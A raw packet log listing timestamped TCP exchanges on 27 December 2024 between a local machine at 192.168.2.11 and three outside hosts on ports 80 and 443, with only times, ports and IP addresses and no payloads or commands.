Dec 27, 2024 09:03:27.903666973 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.904702902 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.904747009 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.904819965 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.904855967 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.905900002 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.905940056 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.906027079 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.906064034 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.907056093 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.907094002 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.907154083 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.907190084 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.908240080 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.908278942 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.908310890 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.908350945 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.909408092 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.909454107 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.909463882 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.909486055 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.910593987 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.910650015 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.910761118 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.910795927 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.911767960 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.911806107 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.911900997 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.911936998 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.912971020 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.913011074 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.913059950 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.913108110 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.914112091 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.914153099 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.914191008 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.914228916 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.915297031 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.915335894 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.915411949 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.915448904 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.916486025 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.916524887 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.916563034 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.916601896 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.917628050 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.917668104 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.917751074 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.917787075 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.918824911 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.918864012 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.918929100 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.918965101 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.919995070 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.920036077 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.920110941 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.920159101 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.921174049 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.921215057 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.921251059 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.921288013 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.922343969 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.922375917 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.922385931 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.922406912 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.923544884 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.923587084 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.923619032 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.923654079 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.924710035 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.924761057 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.924793005 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.924829960 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.925873995 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.925918102 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.925990105 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.926031113 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.927052975 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.927098036 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.927134037 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.927175045 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.928231955 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.928277016 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.928313017 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.928354025 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.929388046 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.929430962 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.929519892 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.929560900 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.930572987 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.930617094 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.930685997 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.930773020 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.931766987 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.931818008 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.931874037 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.931915045 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.932928085 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.932976961 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.933046103 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.933094025 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.934109926 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.934174061 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.934266090 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.934314966 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.935327053 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.935375929 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.935457945 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.935497999 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.936476946 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.936522961 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.936532974 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.936568022 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.937635899 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.937693119 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.937732935 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.937776089 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.938812017 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.938858986 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.938893080 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.938932896 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.939995050 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.940042019 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:28.529289961 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:28.529380083 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:29.229044914 CET	49891	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:29.229146004 CET	443	49891	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:29.229255915 CET	49891	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:29.230384111 CET	49891	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:29.230432034 CET	443	49891	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:30.123018026 CET	49879	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:30.123338938 CET	49896	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:30.242933989 CET	80	49896	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:30.242953062 CET	80	49879	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:30.243088961 CET	49879	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:30.243303061 CET	49896	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:30.243303061 CET	49896	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:30.362894058 CET	80	49896	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:30.487293959 CET	443	49891	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:30.487426043 CET	49891	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:30.488925934 CET	49891	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:30.488961935 CET	443	49891	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:30.489264965 CET	443	49891	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:30.536539078 CET	49891	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:30.536606073 CET	49891	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:30.536664963 CET	443	49891	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:31.243438005 CET	443	49891	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:31.243539095 CET	443	49891	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:31.243609905 CET	49891	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:31.244221926 CET	49891	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:31.244240999 CET	443	49891	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:31.244254112 CET	49891	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:31.244261026 CET	443	49891	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:31.253400087 CET	49898	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:31.253443003 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:31.253621101 CET	49898	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:31.254013062 CET	49898	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:31.254024029 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:31.624007940 CET	80	49896	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:31.624187946 CET	49896	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:32.513525963 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:32.513644934 CET	49898	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:32.514942884 CET	49898	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:32.514976978 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:32.515255928 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:32.516644001 CET	49898	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:32.516669035 CET	49898	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:32.516710043 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.249061108 CET	49896	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:33.249334097 CET	49904	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:33.293339968 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.293382883 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.293409109 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.293435097 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.293468952 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.293493986 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.293536901 CET	49898	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:33.293566942 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.293590069 CET	49898	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:33.301606894 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.301680088 CET	49898	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:33.301698923 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.318311930 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.318522930 CET	49898	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:33.318530083 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.368918896 CET	80	49904	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:33.368938923 CET	80	49896	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:33.369092941 CET	49896	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:33.369349003 CET	49904	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:33.369349003 CET	49904	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:33.371553898 CET	49898	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:33.412951946 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.465322018 CET	49898	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:33.488928080 CET	80	49904	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:33.494390011 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.498050928 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.498090982 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.498126984 CET	49898	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:33.498142004 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.498187065 CET	49898	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:33.498193026 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.498239040 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.498282909 CET	49898	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:33.498975039 CET	49898	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:33.498991966 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.499006033 CET	49898	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:33.499011040 CET	443	49898	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.664812088 CET	49905	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:33.664841890 CET	443	49905	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:33.664913893 CET	49905	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:33.666184902 CET	49905	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:33.666193962 CET	443	49905	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:34.700875998 CET	80	49904	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:34.700922012 CET	49904	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:34.969147921 CET	443	49905	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:34.969213009 CET	49905	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:34.971595049 CET	49905	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:34.971604109 CET	443	49905	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:34.971860886 CET	443	49905	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:34.973021030 CET	49905	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:34.973197937 CET	49905	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:34.973227024 CET	443	49905	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:36.060976982 CET	443	49905	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:36.061086893 CET	443	49905	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:36.061192036 CET	49905	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:36.061345100 CET	49905	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:36.061371088 CET	443	49905	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:36.216270924 CET	49904	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:36.216598034 CET	49911	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:36.244059086 CET	49912	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:36.244103909 CET	443	49912	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:36.244195938 CET	49912	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:36.244496107 CET	49912	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:36.244513035 CET	443	49912	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:36.336080074 CET	80	49911	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:36.336180925 CET	49911	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:36.336220026 CET	80	49904	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:36.336266994 CET	49904	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:36.336441040 CET	49911	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:36.455874920 CET	80	49911	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:37.547516108 CET	443	49912	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:37.547626972 CET	49912	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:37.548775911 CET	49912	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:37.548794031 CET	443	49912	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:37.549031973 CET	443	49912	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:37.550225973 CET	49912	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:37.550389051 CET	49912	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:37.550414085 CET	443	49912	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:37.550515890 CET	49912	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:37.595367908 CET	443	49912	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:37.692069054 CET	80	49911	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:37.692126989 CET	49911	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:38.577512980 CET	443	49912	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:38.577606916 CET	443	49912	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:38.577677965 CET	49912	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:38.577879906 CET	49912	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:38.577898979 CET	443	49912	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:38.845884085 CET	49919	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:38.845942974 CET	443	49919	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:38.846016884 CET	49919	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:38.846299887 CET	49919	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:38.846316099 CET	443	49919	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:39.325470924 CET	49911	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:39.325800896 CET	49922	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:39.445389032 CET	80	49922	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:39.445425987 CET	80	49911	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:39.445462942 CET	49922	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:39.445507050 CET	49911	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:39.445704937 CET	49922	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:39.565160990 CET	80	49922	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:40.133776903 CET	443	49919	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:40.133999109 CET	49919	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:40.135339022 CET	49919	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:40.135358095 CET	443	49919	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:40.135656118 CET	443	49919	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:40.136990070 CET	49919	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:40.137209892 CET	49919	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:40.137234926 CET	443	49919	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:40.137303114 CET	49919	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:40.137312889 CET	443	49919	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:40.869311094 CET	80	49922	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:40.869545937 CET	49922	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:41.063817978 CET	443	49919	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:41.063911915 CET	443	49919	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:41.064002991 CET	49919	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:41.064213991 CET	49919	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:41.064235926 CET	443	49919	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:41.431586027 CET	49927	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:41.431636095 CET	443	49927	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:41.431746960 CET	49927	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:41.432138920 CET	49927	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:41.432151079 CET	443	49927	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:42.379591942 CET	49922	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:42.379884005 CET	49931	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:42.499473095 CET	80	49931	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:42.499563932 CET	49931	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:42.499738932 CET	49931	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:42.684133053 CET	49922	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:42.759371996 CET	80	49922	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:42.760169029 CET	80	49931	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:42.760267973 CET	49922	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:42.762881041 CET	443	49927	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:42.762983084 CET	49927	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:42.788907051 CET	49927	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:42.788944960 CET	443	49927	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:42.789941072 CET	443	49927	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:42.803757906 CET	80	49922	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:42.840347052 CET	49927	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:42.845551968 CET	49927	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:42.849054098 CET	49927	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:42.849071026 CET	443	49927	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:43.839535952 CET	443	49927	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:43.839797974 CET	443	49927	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:43.839869976 CET	49927	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:43.839942932 CET	49927	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:43.839968920 CET	443	49927	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:43.995934010 CET	80	49931	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:44.000173092 CET	49931	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:44.253922939 CET	49936	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:44.253983974 CET	443	49936	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:44.254066944 CET	49936	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:44.254362106 CET	49936	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:44.254371881 CET	443	49936	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:45.465411901 CET	443	49936	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:45.465485096 CET	49936	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:45.483428955 CET	49936	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:45.483459949 CET	443	49936	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:45.483748913 CET	443	49936	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:45.502270937 CET	49936	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:45.503077030 CET	49936	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:45.503108025 CET	443	49936	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:45.503222942 CET	49936	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:45.503257990 CET	443	49936	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:45.503365040 CET	49936	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:45.503412962 CET	443	49936	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:45.503541946 CET	49936	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:45.503576994 CET	443	49936	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:45.503732920 CET	49936	443	192.168.2.11	104.21.23.76
Dec 27, 2024 09:03:45.503772020 CET	443	49936	104.21.23.76	192.168.2.11
Dec 27, 2024 09:03:45.503916979 CET	49936	443	192.168.2.11	104.21.23.76
